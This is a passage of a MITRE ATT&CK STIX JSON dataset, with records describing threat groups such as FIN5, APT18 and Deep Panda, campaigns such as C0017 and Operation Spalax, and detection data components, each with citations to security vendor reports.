"x_mitre_data_source_ref": "x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-01-25T21:02:33.515Z", "name": "C0017", "description": "[C0017](https://attack.mitre.org/campaigns/C0017) was an [APT41](https://attack.mitre.org/groups/G0096) campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of [C0017](https://attack.mitre.org/campaigns/C0017) are unknown, however [APT41](https://attack.mitre.org/groups/G0096) was observed exfiltrating Personal Identifiable Information (PII).(Citation: Mandiant APT41)", "aliases": ["C0017"], "first_seen": "2021-05-01T04:00:00.000Z", "last_seen": "2022-02-01T05:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: Mandiant APT41)", "x_mitre_last_seen_citation": "(Citation: Mandiant APT41)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_contributors": ["Kyaw Pyiyt Htet, @KyawPyiytHtet"], "type": "campaign", "id": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "created": "2022-12-01T15:40:34.011Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0017", "external_id": "C0017"}, {"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"aliases": ["FIN5"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Walker Johnson"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "type": "intrusion-set", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0053", "external_id": "G0053"}, {"source_name": "FIN5", "description": "(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"}, {"source_name": "FireEye Respond Webinar July 2017", "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"}, {"source_name": "Mandiant FIN5 GrrCON Oct 2016", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"}, {"source_name": "DarkReading FireEye FIN5 Oct 2015", "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"}], "modified": "2021-10-16T19:48:37.809Z", "name": "FIN5", "description": "[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-24T18:51:09.213Z", "name": "SideCopy", "description": "[SideCopy](https://attack.mitre.org/groups/G1008) is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghani government personnel, since at least 2019. [SideCopy](https://attack.mitre.org/groups/G1008)'s name comes from its infection chain that tries to mimic that of [Sidewinder](https://attack.mitre.org/groups/G0121), a suspected Indian threat group.(Citation: MalwareBytes SideCopy Dec 2021)", "aliases": ["SideCopy"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_contributors": ["Pooja Natarajan, NEC Corporation India", "Hiroki Nagahama, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India"], "type": "intrusion-set", "id": "intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710", "created": "2022-08-07T13:52:07.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1008", "external_id": "G1008"}, {"source_name": "MalwareBytes SideCopy Dec 2021", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:29:32.199Z", "name": "Operation Spalax", "description": "[Operation Spalax](https://attack.mitre.org/campaigns/C0005) was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The [Operation Spalax](https://attack.mitre.org/campaigns/C0005) threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to [APT-C-36](https://attack.mitre.org/groups/G0099), however identified enough differences to report this as separate, unattributed activity.(Citation: ESET Operation Spalax Jan 2021)  ", "aliases": ["Operation Spalax"], "first_seen": "2019-11-01T05:00:00.000Z", "last_seen": "2021-01-01T06:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: ESET Operation Spalax Jan 2021)", "x_mitre_last_seen_citation": "(Citation: ESET Operation Spalax Jan 2021)", "x_mitre_deprecated": false, "x_mitre_version": "1.1", "type": "campaign", "id": "campaign--4c840263-bbda-440d-a22b-674679ddebf1", "created": "2022-09-16T15:32:41.893Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0005", "external_id": "C0005"}, {"source_name": "ESET Operation Spalax Jan 2021", "description": "M. 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(2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}, {"source_name": "Phish Labs Silent Librarian", "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."}, {"source_name": "Malwarebytes Silent Librarian October 2020", "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."}, {"source_name": "Proofpoint TA407 September 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}, {"source_name": "Secureworks COBALT DICKENS August 2018", "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities", "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."}, {"source_name": "Secureworks COBALT DICKENS September 2019", "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021."}], "modified": "2021-04-21T12:02:00.278Z", "name": "Silent Librarian", "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of  [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-09-22T20:26:23.226Z", "name": "C0011", "description": "[C0011](https://attack.mitre.org/campaigns/C0011) was a suspected cyber espionage campaign conducted by [Transparent Tribe](https://attack.mitre.org/groups/G0134) that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from [Transparent Tribe](https://attack.mitre.org/groups/G0134)'s historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022) ", "aliases": ["C0011"], "first_seen": "2021-12-01T06:00:00.000Z", "last_seen": "2022-07-01T05:00:00.000Z", "x_mitre_first_seen_citation": "(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)", "x_mitre_last_seen_citation": "(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "campaign", "id": "campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac", "created": "2022-09-22T17:12:02.893Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/campaigns/C0011", "external_id": "C0011"}, {"source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022", "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.", "url": "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_domains": ["enterprise-attack"]}, {"modified": "2024-04-11T03:03:44.056Z", "name": "APT18", "description": "[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. 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(2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"}, {"source_name": "Anomali Evasive Maneuvers July 2015", "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"}, {"source_name": "ThreatStream Evasion Analysis", "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. 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New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. 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(2019, March 7). The inside story of the world\u2019s most dangerous malware. Retrieved March 25, 2024.", "url": "https://www.eenews.net/articles/the-inside-story-of-the-worlds-most-dangerous-malware/"}, {"source_name": "FireEye TRITON 2017", "description": "Johnson, B, et. al. (2017, December 14). Attackers Deploy New ICS Attack Framework \"TRITON\" and Cause Operational Disruption to Critical Infrastructure. Retrieved January 6, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"}, {"source_name": "FireEye TRITON 2018", "description": "Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. 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(2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}, {"source_name": "Symantec Black Vine", "url": "https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf", "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016."}, {"source_name": "RSA Shell Crew", "url": "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016."}, {"source_name": "ICIT China's Espionage Jul 2016", "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/", "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018."}, {"source_name": "ThreatConnect Anthem", "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)", "modified": "2022-07-20T20:10:29.593Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Deep Panda", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["APT-C-36", "Blind Eagle"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jose Luis S\u00e1nchez Martinez"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "type": "intrusion-set", "created": "2020-05-05T18:53:08.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "G0099", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0099"}, {"source_name": "Blind Eagle", "description": "(Citation: QiAnXin APT-C-36 Feb2019)"}, {"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2021-05-26T20:17:53.085Z", "name": "APT-C-36", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.(Citation: QiAnXin APT-C-36 Feb2019)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["The White Company"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", "type": "intrusion-set", "created": "2019-05-02T00:08:18.314Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "G0089", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0089"}, {"description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "source_name": "Cylance Shaheen Nov 2018"}], "modified": "2020-03-30T19:24:52.290Z", "name": "The White Company", "description": "[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["Poseidon Group"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", "type": "intrusion-set", "created": "2017-05-31T21:32:04.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0033", "external_id": "G0033"}, {"source_name": "Poseidon Group", "description": "(Citation: Kaspersky Poseidon Group)"}, {"url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", "source_name": "Kaspersky Poseidon Group"}], "modified": "2020-03-18T20:25:54.945Z", "name": "Poseidon Group", "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T04:49:29.731Z", "name": "LazyScripter", "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)", "aliases": ["LazyScripter"], "x_mitre_deprecated": false, "x_mitre_version": "1.1", "x_mitre_contributors": ["Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India", "Hiroki Nagahama, NEC Corporation"], "type": "intrusion-set", "id": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "created": "2021-11-24T19:26:27.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0140", "external_id": "G0140"}, {"source_name": "LazyScripter", "description": "(Citation: MalwareBytes LazyScripter Feb 2021)"}, {"source_name": "MalwareBytes LazyScripter Feb 2021", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.273Z", "name": "Drive Creation", "description": "Initial construction of a drive letter or mount point to a data storage device", "x_mitre_data_source_ref": "x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.274Z", "name": "Active Directory Object Creation", "description": "Initial construction of a new active directory object (ex: Windows EID 5137)", "x_mitre_data_source_ref": "x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.275Z", "name": "Passive DNS", "description": "Logged domain name system (DNS) data highlighting timelines of domain to IP address resolutions (ex: passive DNS)", "x_mitre_data_source_ref": "x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["Gallmaker"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", "type": "intrusion-set", "created": "2019-01-30T14:26:42.897Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "G0084", "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0084"}, {"source_name": "Gallmaker", "description": "(Citation: Symantec Gallmaker Oct 2018)"}, {"source_name": "Symantec Gallmaker Oct 2018", "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group", "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018."}], "modified": "2020-03-30T19:04:47.798Z", "name": "Gallmaker", "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.272Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.272Z", "name": "Kernel Module Load", "description": "An object file that contains code to extend the running kernel of an OS, typically used to add support for new hardware (as device drivers) and/or filesystems, or for adding system calls", "x_mitre_data_source_ref": "x-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-26T14:34:08.342Z", "name": "MoustachedBouncer", "description": "[MoustachedBouncer](https://attack.mitre.org/groups/G1019) is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.(Citation: MoustachedBouncer ESET August 2023)", "aliases": ["MoustachedBouncer"], "x_mitre_deprecated": false, "x_mitre_version": "1.0", "type": "intrusion-set", "id": "intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28", "created": "2023-09-25T18:11:05.672Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G1019", "external_id": "G1019"}, {"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_domains": ["enterprise-attack", "mobile-attack"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.273Z", "name": "Social Media", "description": "Established, compromised, or otherwise acquired social media personas", "x_mitre_data_source_ref": "x-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"aliases": ["CopyKittens"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "intrusion-set", "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", "created": "2018-01-16T16:13:52.465Z", "x_mitre_version": "1.6", "external_references": [{"source_name": "mitre-attack", "external_id": "G0052", "url": "https://attack.mitre.org/groups/G0052"}, {"source_name": "CopyKittens", "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)"}, {"source_name": "ClearSky Wilted Tulip July 2017", "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017."}, {"source_name": "ClearSky CopyKittens March 2017", "url": "http://www.clearskysec.com/copykitten-jpost/", "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017."}, {"source_name": "CopyKittens Nov 2015", "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf", "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.(Citation: ClearSky CopyKittens March 2017)(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "modified": "2022-08-08T21:29:36.462Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "CopyKittens", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-20T15:05:19.273Z", "name": "Firewall Rule Modification", "description": "Changes made to a firewall rule, typically to allow/block specific network traffic (ex: Windows EID 4950 or Write/Delete entries within Azure Firewall Rule Collection Activity Logs)", "x_mitre_data_source_ref": "x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee", "type": "x-mitre-data-component", "created": "2021-10-20T15:05:19.275Z", "created_by_ref": 